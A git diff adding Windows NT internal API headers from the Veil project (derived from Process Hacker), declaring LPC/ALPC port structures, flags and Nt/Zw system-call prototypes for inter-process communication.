+#define NTDDI_WINTHRESHOLD 0x0A000000 // Windows 10.0.10240 / 1507 / Threshold 1 +#define NTDDI_WIN10 0x0A000000 +#define NTDDI_WIN10_TH2 0x0A000001 // Windows 10.0.10586 / 1511 / Threshold 2 +#define NTDDI_WIN10_RS1 0x0A000002 // Windows 10.0.14393 / 1607 / Redstone 1 +#define NTDDI_WIN10_RS2 0x0A000003 // Windows 10.0.15063 / 1703 / Redstone 2 +#define NTDDI_WIN10_RS3 0x0A000004 // Windows 10.0.16299 / 1709 / Redstone 3 +#define NTDDI_WIN10_RS4 0x0A000005 // Windows 10.0.17134 / 1803 / Redstone 4 +#define NTDDI_WIN10_RS5 0x0A000006 // Windows 10.0.17763 / 1809 / Redstone 5 +#define NTDDI_WIN10_19H1 0x0A000007 // Windows 10.0.18362 / 1903 / 19H1 +#define NTDDI_WIN10_VB 0x0A000008 // Windows 10.0.19041 / 2004 / Vibranium +#define NTDDI_WIN10_MN 0x0A000009 // Windows 10.0.19042 / 20H2 / Manganese +#define NTDDI_WIN10_FE 0x0A00000A // Windows 10.0.19043 / 21H1 / Ferrum +#define NTDDI_WIN10_CO 0x0A00000B // Windows 10.0.19044 / 21H2 / Cobalt +#define NTDDI_WIN11 NTDDI_WIN10_CO // Windows 10.0.22000 / 21H2 / Cobalt + + +#include "Veil/Veil.System.Define.h" +#include "Veil/Veil.System.KernelCore.h" +#include "Veil/Veil.System.Loader.h" +#include "Veil/Veil.System.Executive.h" +#include "Veil/Veil.System.MemoryManager.h" +#include "Veil/Veil.System.ObjectManager.h" +#include "Veil/Veil.System.Process.h" +#include "Veil/Veil.System.Debug.h" +#include "Veil/Veil.System.IOManager.h" +#include "Veil/Veil.System.ALPC.h" +#include "Veil/Veil.System.PowerManager.h" +#include "Veil/Veil.System.ConfigurationManager.h" +#include "Veil/Veil.System.Nls.h" +#include "Veil/Veil.System.RuntimeLibrary.h" +#include "Veil/Veil.System.Security.h" +#include "Veil/Veil.System.MinCrypt.h" diff --git a/include/Veil/Veil/Veil.System.ALPC.h b/include/Veil/Veil/Veil.System.ALPC.h new file mode 100644 index 0000000..ec4128d --- /dev/null +++ b/include/Veil/Veil/Veil.System.ALPC.h @@ -0,0 +1,1531 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#define PORT_CONNECT 0x0001 +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +typedef struct _PORT_MESSAGE +{ + union + { + struct + { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union + { + struct + { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union + { + CLIENT_ID ClientId; + double DoNotUseThisField; + }; + ULONG MessageId; + union + { + SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages + ULONG CallbackId; // only valid for LPC_REQUEST messages + }; +} PORT_MESSAGE, * PPORT_MESSAGE; + +typedef struct _PORT_DATA_ENTRY +{ + PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, * PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION +{ + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, * PPORT_DATA_INFORMATION; + +#define LPC_REQUEST 1 +#define LPC_REPLY 2 +#define LPC_DATAGRAM 3 +#define LPC_LOST_REPLY 4 +#define LPC_PORT_CLOSED 5 +#define LPC_CLIENT_DIED 6 +#define LPC_EXCEPTION 7 +#define LPC_DEBUG_EVENT 8 +#define LPC_ERROR_EVENT 9 +#define LPC_CONNECTION_REQUEST 10 + +#define LPC_KERNELMODE_MESSAGE (CSHORT)0x8000 +#define LPC_NO_IMPERSONATE (CSHORT)0x4000 + +#define PORT_VALID_OBJECT_ATTRIBUTES OBJ_CASE_INSENSITIVE + +#ifdef _WIN64 +#define PORT_MAXIMUM_MESSAGE_LENGTH 512 +#else +#define PORT_MAXIMUM_MESSAGE_LENGTH 256 +#endif + +#define LPC_MAX_CONNECTION_INFO_SIZE (16 * sizeof(ULONG_PTR)) + +#define PORT_TOTAL_MAXIMUM_MESSAGE_LENGTH \ + ((PORT_MAXIMUM_MESSAGE_LENGTH + sizeof(PORT_MESSAGE) + LPC_MAX_CONNECTION_INFO_SIZE + 0xf) & ~0xf) + +typedef struct _LPC_CLIENT_DIED_MSG +{ + PORT_MESSAGE PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG, * PLPC_CLIENT_DIED_MSG; + +typedef struct _PORT_VIEW +{ + ULONG Length; + HANDLE SectionHandle; + ULONG SectionOffset; + SIZE_T ViewSize; + PVOID ViewBase; + PVOID ViewRemoteBase; +} PORT_VIEW, * PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW +{ + ULONG Length; + SIZE_T ViewSize; + PVOID ViewBase; +} REMOTE_PORT_VIEW, * PREMOTE_PORT_VIEW; + +// WOW64 definitions + +// Except in a small number of special cases, WOW64 programs using the LPC APIs must use the 64-bit versions of the +// PORT_MESSAGE, PORT_VIEW and REMOTE_PORT_VIEW data structures. Note that we take a different approach than the +// official NT headers, which produce 64-bit versions in a 32-bit environment when USE_LPC6432 is defined. + +typedef struct _PORT_MESSAGE64 +{ + union + { + struct + { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union + { + struct + { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union + { + CLIENT_ID64 ClientId; + double DoNotUseThisField; + }; + ULONG MessageId; + union + { + ULONGLONG ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages + ULONG CallbackId; // only valid for LPC_REQUEST messages + }; +} PORT_MESSAGE64, * PPORT_MESSAGE64; + +typedef struct _LPC_CLIENT_DIED_MSG64 +{ + PORT_MESSAGE64 PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG64, * PLPC_CLIENT_DIED_MSG64; + +typedef struct _PORT_VIEW64 +{ + ULONG Length; + ULONGLONG SectionHandle; + ULONG SectionOffset; + ULONGLONG ViewSize; + ULONGLONG ViewBase; + ULONGLONG ViewRemoteBase; +} PORT_VIEW64, * PPORT_VIEW64; + +typedef struct _REMOTE_PORT_VIEW64 +{ + ULONG Length; + ULONGLONG ViewSize; + ULONGLONG ViewBase; +} REMOTE_PORT_VIEW64, * PREMOTE_PORT_VIEW64; + +// +// Port creation +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWaitablePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateWaitablePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage +); + +// +// Port connection (client) +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _In_opt_ PSID RequiredServerSid, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _In_opt_ PSID RequiredServerSid, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength +); + +// +// Port connection (server) +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompleteConnectPort( + _In_ HANDLE PortHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompleteConnectPort( + _In_ HANDLE PortHandle +); + +// +// General +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRequestPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRequestPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID* PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID* PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyWaitReceivePortEx( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID* PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReplyWaitReceivePortEx( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID* PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage, + _In_opt_ PLARGE_INTEGER Timeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_writes_bytes_to_(BufferSize, *NumberOfBytesRead) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_writes_bytes_to_(BufferSize, *NumberOfBytesRead) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten +); + +typedef enum _PORT_INFORMATION_CLASS +{ + PortBasicInformation, + PortDumpInformation +} PORT_INFORMATION_CLASS; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationPort( + _In_ HANDLE PortHandle, + _In_ PORT_INFORMATION_CLASS PortInformationClass, + _Out_writes_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationPort( + _In_ HANDLE PortHandle, + _In_ PORT_INFORMATION_CLASS PortInformationClass, + _Out_writes_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +// +// Asynchronous Local Inter-process Communication +// + +// rev +typedef HANDLE ALPC_HANDLE, * PALPC_HANDLE; + +#define ALPC_PORFLG_ALLOW_LPC_REQUESTS 0x20000 // rev +#define ALPC_PORFLG_WAITABLE_PORT 0x40000 // dbg +#define ALPC_PORFLG_SYSTEM_PROCESS 0x100000 // dbg + +// symbols +typedef struct _ALPC_PORT_ATTRIBUTES +{ + ULONG Flags; + SECURITY_QUALITY_OF_SERVICE SecurityQos; + SIZE_T MaxMessageLength; + SIZE_T MemoryBandwidth; + SIZE_T MaxPoolUsage; + SIZE_T MaxSectionSize; + SIZE_T MaxViewSize; + SIZE_T MaxTotalSectionSize; + ULONG DupObjectTypes; +#ifdef _WIN64 + ULONG Reserved; +#endif +} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES; + +// begin_rev +#define ALPC_MESSAGE_SECURITY_ATTRIBUTE 0x80000000 +#define ALPC_MESSAGE_VIEW_ATTRIBUTE 0x40000000 +#define ALPC_MESSAGE_CONTEXT_ATTRIBUTE 0x20000000 +#define ALPC_MESSAGE_HANDLE_ATTRIBUTE 0x10000000 +// end_rev + +// symbols +typedef struct _ALPC_MESSAGE_ATTRIBUTES +{ + ULONG AllocatedAttributes; + ULONG ValidAttributes; +} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES; + +// symbols +typedef struct _ALPC_COMPLETION_LIST_STATE +{ + union + { + struct + { + ULONG64 Head : 24; + ULONG64 Tail : 24; + ULONG64 ActiveThreadCount : 16; + } s1; + ULONG64 Value; + } u1; +} ALPC_COMPLETION_LIST_STATE, * PALPC_COMPLETION_LIST_STATE; + +#define ALPC_COMPLETION_LIST_BUFFER_GRANULARITY_MASK 0x3f // dbg + +// symbols +typedef struct DECLSPEC_ALIGN(128) _ALPC_COMPLETION_LIST_HEADER +{ + ULONG64 StartMagic; + + ULONG TotalSize; + ULONG ListOffset; + ULONG ListSize; + ULONG BitmapOffset; + ULONG BitmapSize; + ULONG DataOffset; + ULONG DataSize; + ULONG AttributeFlags; + ULONG AttributeSize; + + DECLSPEC_ALIGN(128) ALPC_COMPLETION_LIST_STATE State; + ULONG LastMessageId; + ULONG LastCallbackId; + DECLSPEC_ALIGN(128) ULONG PostCount; + DECLSPEC_ALIGN(128) ULONG ReturnCount; + DECLSPEC_ALIGN(128) ULONG LogSequenceNumber; + DECLSPEC_ALIGN(128) RTL_SRWLOCK UserLock; + + ULONG64 EndMagic; +} ALPC_COMPLETION_LIST_HEADER, * PALPC_COMPLETION_LIST_HEADER; + +// private +typedef struct _ALPC_CONTEXT_ATTR +{ + PVOID PortContext; + PVOID MessageContext; + ULONG Sequence; + ULONG MessageId; + ULONG CallbackId; +} ALPC_CONTEXT_ATTR, * PALPC_CONTEXT_ATTR; + +// begin_rev +#define ALPC_HANDLEFLG_DUPLICATE_SAME_ACCESS 0x10000 +#define ALPC_HANDLEFLG_DUPLICATE_SAME_ATTRIBUTES 0x20000 +#define ALPC_HANDLEFLG_DUPLICATE_INHERIT 0x80000 +// end_rev + +// private +typedef struct _ALPC_HANDLE_ATTR32 +{ + ULONG Flags; + ULONG Reserved0; + ULONG SameAccess; + ULONG SameAttributes; + ULONG Indirect; + ULONG Inherit; + ULONG Reserved1; + ULONG Handle; + ULONG ObjectType; // ObjectTypeCode, not ObjectTypeIndex + ULONG DesiredAccess; + ULONG GrantedAccess; +} ALPC_HANDLE_ATTR32, * PALPC_HANDLE_ATTR32; + +// private +typedef struct _ALPC_HANDLE_ATTR +{ + ULONG Flags; + ULONG Reserved0; + ULONG SameAccess; + ULONG SameAttributes; + ULONG Indirect; + ULONG Inherit; + ULONG Reserved1; + HANDLE Handle; + PALPC_HANDLE_ATTR32 HandleAttrArray; + ULONG ObjectType; // ObjectTypeCode, not ObjectTypeIndex + ULONG HandleCount; + ACCESS_MASK DesiredAccess; + ACCESS_MASK GrantedAccess; +} ALPC_HANDLE_ATTR, * PALPC_HANDLE_ATTR; + +#define ALPC_SECFLG_CREATE_HANDLE 0x20000 // dbg +#define ALPC_SECFLG_NOSECTIONHANDLE 0x40000 +// private +typedef struct _ALPC_SECURITY_ATTR +{ + ULONG Flags; + PSECURITY_QUALITY_OF_SERVICE QoS; + ALPC_HANDLE ContextHandle; // dbg +} ALPC_SECURITY_ATTR, * PALPC_SECURITY_ATTR; + +// begin_rev +#define ALPC_VIEWFLG_NOT_SECURE 0x40000 +// end_rev + +// private +typedef struct _ALPC_DATA_VIEW_ATTR +{ + ULONG Flags; + ALPC_HANDLE SectionHandle; + PVOID ViewBase; // must be zero on input + SIZE_T ViewSize; +} ALPC_DATA_VIEW_ATTR, * PALPC_DATA_VIEW_ATTR; + +// private +typedef enum _ALPC_PORT_INFORMATION_CLASS +{ + AlpcBasicInformation, // q: out ALPC_BASIC_INFORMATION + AlpcPortInformation, // s: in ALPC_PORT_ATTRIBUTES + AlpcAssociateCompletionPortInformation, // s: in ALPC_PORT_ASSOCIATE_COMPLETION_PORT + AlpcConnectedSIDInformation, // q: in SID + AlpcServerInformation, // q: inout ALPC_SERVER_INFORMATION + AlpcMessageZoneInformation, // s: in ALPC_PORT_MESSAGE_ZONE_INFORMATION + AlpcRegisterCompletionListInformation, // s: in ALPC_PORT_COMPLETION_LIST_INFORMATION + AlpcUnregisterCompletionListInformation, // s: VOID + AlpcAdjustCompletionListConcurrencyCountInformation, // s: in ULONG + AlpcRegisterCallbackInformation, // kernel-mode only + AlpcCompletionListRundownInformation, // s: VOID // 10 + AlpcWaitForPortReferences, + AlpcServerSessionInformation // q: ALPC_SERVER_SESSION_INFORMATION // since 19H2 +} ALPC_PORT_INFORMATION_CLASS; + +// private +typedef struct _ALPC_BASIC_INFORMATION +{ + ULONG Flags; + ULONG SequenceNo; + PVOID PortContext; +} ALPC_BASIC_INFORMATION, * PALPC_BASIC_INFORMATION; + +// private +typedef struct _ALPC_PORT_ASSOCIATE_COMPLETION_PORT +{ + PVOID CompletionKey; + HANDLE CompletionPort; +} ALPC_PORT_ASSOCIATE_COMPLETION_PORT, * PALPC_PORT_ASSOCIATE_COMPLETION_PORT; + +// private +typedef struct _ALPC_SERVER_INFORMATION +{ + union + { + struct + { + HANDLE ThreadHandle; + } In; + struct + { + BOOLEAN ThreadBlocked; + HANDLE ConnectedProcessId; + UNICODE_STRING ConnectionPortName; + } Out; + }; +} ALPC_SERVER_INFORMATION, * PALPC_SERVER_INFORMATION; + +// private +typedef struct _ALPC_PORT_MESSAGE_ZONE_INFORMATION +{ + PVOID Buffer; + ULONG Size; +} ALPC_PORT_MESSAGE_ZONE_INFORMATION, * PALPC_PORT_MESSAGE_ZONE_INFORMATION; + +// private +typedef struct _ALPC_PORT_COMPLETION_LIST_INFORMATION +{ + PVOID Buffer; // PALPC_COMPLETION_LIST_HEADER + ULONG Size; + ULONG ConcurrencyCount; + ULONG AttributeFlags; +} ALPC_PORT_COMPLETION_LIST_INFORMATION, * PALPC_PORT_COMPLETION_LIST_INFORMATION; + +// private +typedef struct _ALPC_SERVER_SESSION_INFORMATION +{ + ULONG SessionId; + ULONG ProcessId; +} ALPC_SERVER_SESSION_INFORMATION, * PALPC_SERVER_SESSION_INFORMATION; + +// private +typedef enum _ALPC_MESSAGE_INFORMATION_CLASS +{ + AlpcMessageSidInformation, // q: out SID + AlpcMessageTokenModifiedIdInformation, // q: out LUID + AlpcMessageDirectStatusInformation, + AlpcMessageHandleInformation, // ALPC_MESSAGE_HANDLE_INFORMATION + MaxAlpcMessageInfoClass +} ALPC_MESSAGE_INFORMATION_CLASS, * PALPC_MESSAGE_INFORMATION_CLASS; + +typedef struct _ALPC_MESSAGE_HANDLE_INFORMATION +{ + ULONG Index; + ULONG Flags; + ULONG Handle; + ULONG ObjectType; + ACCESS_MASK GrantedAccess; +} ALPC_MESSAGE_HANDLE_INFORMATION, * PALPC_MESSAGE_HANDLE_INFORMATION; + +// begin_private + +// System calls + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDisconnectPort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcDisconnectPort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcQueryInformation( + _In_opt_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _Inout_updates_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcQueryInformation( + _In_opt_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _Inout_updates_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcSetInformation( + _In_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _In_reads_bytes_opt_(Length) PVOID PortInformation, + _In_ ULONG Length +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcSetInformation( + _In_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _In_reads_bytes_opt_(Length) PVOID PortInformation, + _In_ ULONG Length +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreatePortSection( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_ SIZE_T SectionSize, + _Out_ PALPC_HANDLE AlpcSectionHandle, + _Out_ PSIZE_T ActualSectionSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCreatePortSection( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_ SIZE_T SectionSize, + _Out_ PALPC_HANDLE AlpcSectionHandle, + _Out_ PSIZE_T ActualSectionSize 